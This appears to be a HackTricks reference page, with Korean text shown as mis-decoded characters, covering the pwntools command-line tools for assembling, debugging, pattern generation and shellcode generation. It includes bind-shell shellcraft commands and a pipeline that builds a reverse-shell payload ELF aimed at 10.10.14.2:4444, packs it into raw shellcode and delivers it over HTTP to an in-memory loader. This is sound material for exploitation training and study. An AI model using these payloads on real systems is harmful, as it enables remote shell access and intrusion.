PwnTools

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ
pip3 install pwntools

Pwn asm

๋ผ์ธ์ด๋‚˜ ํŒŒ์ผ์—์„œ opcodes๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.

pwn asm "jmp esp"
pwn asm -i <filepath>

์„ ํƒ ๊ฐ€๋Šฅ:

  • ์ถœ๋ ฅ ์œ ํ˜• (raw,hex,string,elf)
  • ์ถœ๋ ฅ ํŒŒ์ผ ์ปจํ…์ŠคํŠธ (16,32,64,linux,windowsโ€ฆ)
  • ์ œ์™ธํ•  bytes (new lines, null, a list)
  • encoder ์„ ํƒ; debug shellcode๋ฅผ gdb๋กœ ์‹คํ–‰ํ•˜์—ฌ output์„ ํ™•์ธ

Pwn checksec

Checksec ์Šคํฌ๋ฆฝํŠธ

pwn checksec <executable>

Pwn constgrep

Pwn cyclic

ํŒจํ„ด ์ƒ์„ฑ

pwn cyclic 3000
pwn cyclic -l faad

์„ ํƒ ๊ฐ€๋Šฅ:

  • ์‚ฌ์šฉ๋˜๋Š” alphabet (๊ธฐ๋ณธ๊ฐ’: lowercase chars)
  • uniq pattern์˜ ๊ธธ์ด (๊ธฐ๋ณธ๊ฐ’: 4)
  • context (16,32,64,linux,windowsโ€ฆ)
  • ์˜คํ”„์…‹ ๊ฐ€์ ธ์˜ค๊ธฐ (-l)

Pwn debug

ํ”„๋กœ์„ธ์Šค์— GDB๋ฅผ ์—ฐ๊ฒฐ

pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash

์„ ํƒ ๊ฐ€๋Šฅ:

  • executable๋ณ„, name๋ณ„ ๋˜๋Š” pid context๋ณ„ (16,32,64,linux,windowsโ€ฆ)
  • ์‹คํ–‰ํ•  gdbscript
  • sysrootpath

Pwn disablenx

binary์˜ nx ๋น„ํ™œ์„ฑํ™”

pwn disablenx <filepath>

Pwn disasm

hex opcodes๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ”

pwn disasm ffe4

์„ ํƒ ๊ฐ€๋Šฅ:

  • context (16,32,64,linux,windowsโ€ฆ)
  • base ์ฃผ์†Œ
  • color(default)/no color

Pwn elfdiff

๋‘ ํŒŒ์ผ ๊ฐ„์˜ ์ฐจ์ด์ ์„ ์ถœ๋ ฅ

pwn elfdiff <file1> <file2>

Pwn hex

16์ง„์ˆ˜ ํ‘œํ˜„ ์–ป๊ธฐ

pwn hex hola #Get hex of "hola" ascii

Pwn phd

hexdump ๊ฐ€์ ธ์˜ค๊ธฐ

pwn phd <file>

์„ ํƒ ๊ฐ€๋Šฅ:

  • ํ‘œ์‹œํ•  ๋ฐ”์ดํŠธ ์ˆ˜
  • ํ•œ ์ค„๋‹น ๋ฐ”์ดํŠธ ์ˆ˜ ๋ฐ ๊ฐ•์กฐํ•  ๋ฐ”์ดํŠธ
  • ์ฒ˜์Œ์˜ ๋ฐ”์ดํŠธ ๊ฑด๋„ˆ๋›ฐ๊ธฐ

Pwn pwnstrip

Pwn scrable

Pwn shellcraft

shellcodes ๊ฐ€์ ธ์˜ค๊ธฐ

pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port

์„ ํƒ ๊ฐ€๋Šฅ:

  • shellcode์™€ ์ธ์ž
  • ์ถœ๋ ฅ ํŒŒ์ผ
  • ์ถœ๋ ฅ ํ˜•์‹
  • debug (attach dbg to shellcode)
  • before (debug trap before code)
  • after
  • opcodes ์‚ฌ์šฉ ํšŒํ”ผ (๊ธฐ๋ณธ: null๊ณผ new line ์ œ์™ธ)
  • shellcode ์‹คํ–‰
  • ์ƒ‰์ƒ/๋ฌด์ƒ‰์ƒ
  • syscalls ๋ชฉ๋ก
  • ๊ฐ€๋Šฅํ•œ shellcodes ๋ชฉ๋ก
  • ELF๋ฅผ shared library๋กœ ์ƒ์„ฑ

Pwn template

python ํ…œํ”Œ๋ฆฟ ๊ฐ€์ ธ์˜ค๊ธฐ

pwn template

์„ ํƒ ๊ฐ€๋Šฅ: host, port, user, pass, path and quiet

Pwn unhex

hex์—์„œ string์œผ๋กœ

pwn unhex 686f6c61

Pwn ์—…๋ฐ์ดํŠธ

pwntools๋ฅผ ์—…๋ฐ์ดํŠธํ•˜๋ ค๋ฉด

pwn update

ELF โ†’ raw shellcode ํŒจํ‚ค์ง• (loader_append)

Pwntools๋Š” ๋…๋ฆฝ ์‹คํ–‰ํ˜• ELF๋ฅผ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ์Šค์Šค๋กœ ๋งคํ•‘ํ•˜๊ณ  ์›๋ž˜ ์—”ํŠธ๋ฆฌํฌ์ธํŠธ๋กœ ์‹คํ–‰์„ ์ „๋‹ฌํ•˜๋Š” ๋‹จ์ผ raw shellcode ๋ธ”๋กญ์œผ๋กœ ๋ณ€ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค์šด๋กœ๋“œํ•œ ๋ฐ”์ดํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด JNI๋ฅผ ํ˜ธ์ถœํ•˜๋Š” Android ์•ฑ ๊ฐ™์€ ๋ฉ”๋ชจ๋ฆฌโ€‘์ „์šฉ ๋กœ๋”์— ์ด์ƒ์ ์ž…๋‹ˆ๋‹ค.

Typical pipeline (amd64 example)

  1. Build a static, positionโ€‘independent payload ELF (musl recommended for portability):
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
  1. ELF โ†’ shellcode๋กœ ๋ณ€ํ™˜ (pwntools ์‚ฌ์šฉ):
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
  1. sc๋ฅผ ๋ฉ”๋ชจ๋ฆฌ ๋กœ๋”(์˜ˆ: HTTP[S]๋ฅผ ํ†ตํ•ด)๋กœ ์ „๋‹ฌํ•˜์—ฌ ํ”„๋กœ์„ธ์Šค ๋‚ด์—์„œ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Notes

  • loader_append๋Š” ์›๋ณธ ELF ํ”„๋กœ๊ทธ๋žจ์„ shellcode์— ์ž„๋ฒ ๋“œํ•˜๊ณ , ์„ธ๊ทธ๋จผํŠธ๋ฅผ mmapsํ•˜์—ฌ ์—”ํŠธ๋ฆฌ๋กœ ์ ํ”„ํ•˜๋Š” ์†Œํ˜• ๋กœ๋”๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • context.clear(arch=โ€ฆ)๋กœ ์•„ํ‚คํ…์ฒ˜๋ฅผ ๋ช…์‹œํ•˜์„ธ์š”. arm64๋Š” Android์—์„œ ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค.
  • payload์˜ ์ฝ”๋“œ๊ฐ€ ์œ„์น˜ ๋น„์ข…์†(position-independent)์ด ๋˜๋„๋ก ํ•˜๊ณ , ํ”„๋กœ์„ธ์Šค์˜ ASLR/NX์— ๋Œ€ํ•œ ๊ฐ€์ •์„ ํ”ผํ•˜์„ธ์š”.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ